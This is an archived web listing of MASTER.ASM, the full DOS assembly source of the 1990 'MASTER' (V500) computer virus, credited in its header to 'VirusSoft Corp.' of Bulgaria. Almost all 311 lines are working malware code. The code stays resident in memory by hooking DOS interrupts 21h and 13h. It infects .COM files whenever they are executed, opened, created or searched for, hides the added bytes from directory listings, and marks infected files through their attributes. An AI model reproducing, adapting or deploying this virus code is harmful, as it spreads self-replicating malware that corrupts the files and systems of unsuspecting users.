home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MASTER.ASM < prev    next >
Assembly Source File  |  1992-08-11  |  7KB  |  311 lines

  1. ;        (C) Copyright VirusSoft Corp.  Sep., 1990
  2. ;
  3. ;   This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
  4. ;   virus, distributed by VirusSoft company . First version was made
  5. ;   in   May., 1990 . Please don't make any corections in this file !
  6. ;
  7. ;                        Bulgaria, Varna
  8. ;                        Sep. 27, 1990
  9.  
  10.  
  11.  
  12.          ofs = 201h
  13.          len = offset end-ofs
  14.  
  15.          call  $+6
  16.  
  17.          org   ofs
  18.  
  19. first:   dw    020cdh
  20.          db    0
  21.  
  22.          pop   di
  23.          dec   di
  24.          dec   di
  25.          mov   si,[di]
  26.          dec   di
  27.          add   si,di
  28.          push  cs
  29.          push  di
  30.          cld
  31.          movsw
  32.          movsb
  33.          xchg  ax,dx
  34.  
  35.          mov   ax,4b04h
  36.          int   21h
  37.          jnc   residnt
  38.  
  39.          xor   ax,ax
  40.          mov   es,ax
  41.          mov   di,ofs+3
  42.          mov   cx,len-3
  43.          rep   movsb
  44.  
  45.          les   di,[6]
  46.          mov   al,0eah
  47.          dec   cx
  48.          repne scasb
  49.          les   di,es:[di]         ; Searching for the INT21 vector
  50.          sub   di,-1ah-7
  51.  
  52.          db    0eah
  53.          dw    offset jump,0      ; jmp far 0000:jump
  54.  
  55. jump:    push  es
  56.          pop   ds
  57.          mov   si,[di+3-7]        ;
  58.          lodsb                    ;
  59.          cmp   al,68h             ; compare DOS Ver
  60.          mov   [di+4-7],al        ; Change CMP AH,CS:[????]
  61.          mov   [di+2-7],0fc80h    ;
  62.          mov   [di-7],0fccdh      ;
  63.  
  64.          push  cs
  65.          pop   ds
  66.  
  67.          mov   [1020],di          ; int  0ffh
  68.          mov   [1022],es
  69.  
  70.          mov   beg-1,byte ptr not3_3-beg
  71.          jb    not3.3             ; CY = 0  -->  DOS Ver > or = 3.30
  72.          mov   beg-1,byte ptr 0
  73.          mov   [7b4h],offset pr7b4
  74.          mov   [7b6h],cs          ; 7b4
  75.  
  76. not3.3:  mov   al,0a9h            ; Change attrib
  77. cont:    repne scasb
  78.          cmp   es:[di],0ffd8h
  79.          jne   cont
  80.          mov   al,18h
  81.          stosb
  82.  
  83.          push  ss
  84.          pop   ds
  85.  
  86.          push  ss
  87.          pop   es
  88.  
  89. residnt: xchg  ax,dx
  90.          retf                     ; ret   far
  91.  
  92. ;--------Interrupt process--------;
  93.  
  94. i21pr:   push  ax
  95.          push  dx
  96.          push  ds
  97.          push  cx
  98.          push  bx
  99.          push  es
  100.  
  101. if4b04:  cmp   ax,4b04h
  102.          je    rti
  103.  
  104.          xchg  ax,cx
  105.          mov   ah,02fh
  106.          int   0ffh
  107.  
  108. if11_12: cmp   ch,11h
  109.          je    yes
  110.          cmp   ch,12h
  111.          jne   inffn
  112. yes:     xchg  ax,cx
  113.          int   0ffh
  114.          push  ax
  115.          test  es:byte ptr [bx+19],0c0h
  116.          jz    normal
  117.          sub   es:[bx+36],len
  118. normal:  pop   ax
  119. rti:     pop   es
  120.          pop   bx
  121.          pop   cx
  122.          add   sp,12
  123.          iret
  124.  
  125. inffn:   mov   ah,19h
  126.          int   0ffh
  127.          push  ax
  128.  
  129. if36:    cmp   ch,36h             ; -free bytes
  130.          je    beg_36
  131. if4e:    cmp   ch,4eh             ; -find first FM
  132.          je    beg_4b
  133. if4b:    cmp   ch,4bh             ; -exec
  134.          je    beg_4b
  135. if47:    cmp   ch,47h             ; -directory info
  136.          jne   if5b
  137.          cmp   al,2
  138.          jae   begin              ; it's hard-disk
  139. if5b:    cmp   ch,5bh             ; -create new
  140.          je    beg_4b
  141. if3c_3d: shr   ch,1               ; > -open & create
  142.          cmp   ch,1eh             ;   -
  143.          je    beg_4b
  144.  
  145.          jmp   rest
  146.  
  147. beg_4b:  mov   ax,121ah
  148.          xchg  dx,si
  149.          int   2fh
  150.          xchg  ax,dx
  151.          xchg  ax,si
  152.  
  153. beg_36:  mov   ah,0eh             ; change current drive
  154.          dec   dx                 ;
  155.          int   0ffh               ;
  156.  
  157. begin:
  158.          push  es                 ; save DTA address
  159.          push  bx                 ;
  160.          sub   sp,44
  161.          mov   dx,sp              ; change DTA
  162.          push  sp
  163.          mov   ah,1ah
  164.          push  ss
  165.          pop   ds
  166.          int   0ffh
  167.          mov   bx,dx
  168.  
  169.          push  cs
  170.          pop   ds
  171.  
  172.          mov   ah,04eh
  173.          mov   dx,offset file
  174.          mov   cx,3               ; r/o , hidden
  175.          int   0ffh               ; int   21h
  176.          jc    lst
  177.  
  178. next:    test  ss:[bx+21],byte ptr 80h
  179.          jz    true
  180. nxt:     mov   ah,4fh             ; find next
  181.          int   0ffh
  182.          jnc   next
  183. lst:     jmp   last
  184.  
  185. true:    cmp   ss:[bx+27],byte ptr 0fdh
  186.          ja    nxt
  187.          mov   [144],offset i24pr
  188.          mov   [146],cs
  189.  
  190.          les   ax,[4ch]           ; int 13h
  191.          mov   i13adr,ax
  192.          mov   i13adr+2,es
  193.          jmp   short $
  194. beg:     mov   [4ch],offset i13pr
  195.          mov   [4eh],cs
  196.  
  197.          
  198. not3_3:  push  ss
  199.          pop   ds
  200.          push  [bx+22]            ; time +
  201.          push  [bx+24]            ; date +
  202.          push  [bx+21]            ; attrib +
  203.          lea   dx,[bx+30]         ; ds : dx = offset file name
  204.          mov   ax,4301h           ; Change attrib !!!
  205.          pop   cx
  206.          and   cx,0feh            ; clear r/o and CH
  207.          or    cl,0c0h            ; set Infect. attr
  208.          int   0ffh
  209.  
  210.          mov   ax,03d02h          ; open
  211.          int   0ffh               ; int   21h
  212.          xchg  ax,bx
  213.  
  214.          push  cs
  215.          pop   ds
  216.  
  217.          mov   ah,03fh
  218.          mov   cx,3
  219.          mov   dx,offset first
  220.          int   0ffh
  221.  
  222.          mov   ax,04202h          ; move fp to EOF
  223.          xor   dx,dx
  224.          mov   cx,dx
  225.          int   0ffh
  226.          mov   word ptr cal_ofs+1,ax
  227.  
  228.          mov   ah,040h
  229.          mov   cx,len
  230.          mov   dx,ofs
  231.          int   0ffh
  232.          jc    not_inf
  233.  
  234.          mov   ax,04200h
  235.          xor   dx,dx
  236.          mov   cx,dx
  237.          int   0ffh
  238.  
  239.          mov   ah,040h
  240.          mov   cx,3
  241.          mov   dx,offset cal_ofs
  242.          int   0ffh
  243.  
  244. not_inf: mov   ax,05701h
  245.          pop   dx                 ; date
  246.          pop   cx                 ; time
  247.          int   0ffh
  248.  
  249.          mov   ah,03eh            ; close
  250.          int   0ffh
  251.  
  252.          les   ax,dword ptr i13adr
  253.          mov   [4ch],ax           ; int 13h
  254.          mov   [4eh],es
  255.  
  256. last:    add   sp,46
  257.          pop   dx
  258.          pop   ds                 ; restore DTA
  259.          mov   ah,1ah
  260.          int   0ffh
  261.  
  262. rest:    pop   dx                 ; restore current drive
  263.          mov   ah,0eh             ;
  264.          int   0ffh               ;
  265.  
  266.          pop   es
  267.          pop   bx
  268.          pop   cx
  269.          pop   ds
  270.          pop   dx
  271.          pop   ax
  272.  
  273. i21cl:   iret                     ; Return from INT FC
  274.  
  275. i24pr:   mov   al,3               ; Critical errors
  276.          iret
  277.  
  278. i13pr:   cmp   ah,3
  279.          jne   no
  280.          inc   byte ptr cs:activ
  281.          dec   ah
  282. no:      jmp   dword ptr cs:i13adr
  283.  
  284. pr7b4:         db    2eh,0d0h,2eh
  285.                dw    offset activ
  286. ;        shr   cs:activ,1
  287.          jnc   ex7b0
  288.          inc   ah
  289. ex7b0:   jmp   dword ptr cs:[7b0h]
  290.  
  291. ;--------
  292.  
  293. file:    db    "*",32,".COM"
  294.  
  295.  
  296. activ:   db    0
  297.  
  298.          dw    offset i21pr      ; int 0fch
  299.          dw    0
  300.  
  301. cal_ofs: db    0e8h
  302.  
  303. end:
  304.          dw    ?                  ; cal_ofs
  305.  
  306. i13adr:  dw    ?
  307.          dw    ?
  308.  
  309.  
  310. ; The End.---
  311.